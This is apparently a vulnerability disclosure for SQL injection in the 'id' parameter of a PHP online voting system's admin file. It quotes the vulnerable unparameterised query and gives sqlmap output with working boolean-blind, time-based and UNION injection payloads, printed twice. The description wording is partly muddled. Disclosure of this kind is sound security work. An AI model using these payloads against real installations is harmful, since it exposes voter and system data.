SQL injection vulnerability exists in id parameter of /admin/voters_row.php file of Advanced Online Voting System

Important user data or system data may be leaked and system security may be compromised The environment is secure and the information can be used by malicious users.

```
if(isset($_POST['id'])) {

$id = $_POST['id'];

$sql = "SELECT * FROM voters WHERE id = '$id'";

$query = $conn->query($sql);

$row = $query->fetch_assoc();
```

```
sqlmap identified the following injection point(s) with a total of 76 HTTP(s) requests:

—
Parameter: id (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
    Payload: id=1' AND 1356=(SELECT (CASE WHEN (1356=1356) THEN 1356 ELSE (SELECT 1486 UNION SE
LECT 2395) END))-- -

    Type: time-based blind
    Title: MySQL ≥ 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1' AND (SELECT 9045 FROM (SELECT(SLEEP(5)))EeFI)-- CBBL

    Type: UNION query
    Title: Generic UNION query (NULL) - 6 columns
    Payload: id=1' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0×716b787a71,0×706c4e62505449524
74a714b7769434b7643617470517574744b6f696a6e624c4b46505a68635a44,0×7171716271),NULL-- -
```

Parameter: id (POST)

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)

Payload: id=1' AND 1356=(SELECT (CASE WHEN (1356=1356) THEN 1356 ELSE (SELECT 1486

UNION SELECT 2395) END))-- -

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: id=1' AND (SELECT 9045 FROM (SELECT(SLEEP(5)))EeFI)-- CBBL

Type: UNION query

Title: Generic UNION query (NULL) - 6 columns

Payload: id=1' UNION ALL SELECT

NULL,NULL,NULL,CONCAT(0x716b787a71,0x706c4e6250544952474a714b7769434b76436 17470517574744b6f696a6e624c4b46505a68635a44,0x7171716271),NULL-- -

Source Download:

https://www.campcodes.com/projects/php/online-voting-system-in-php/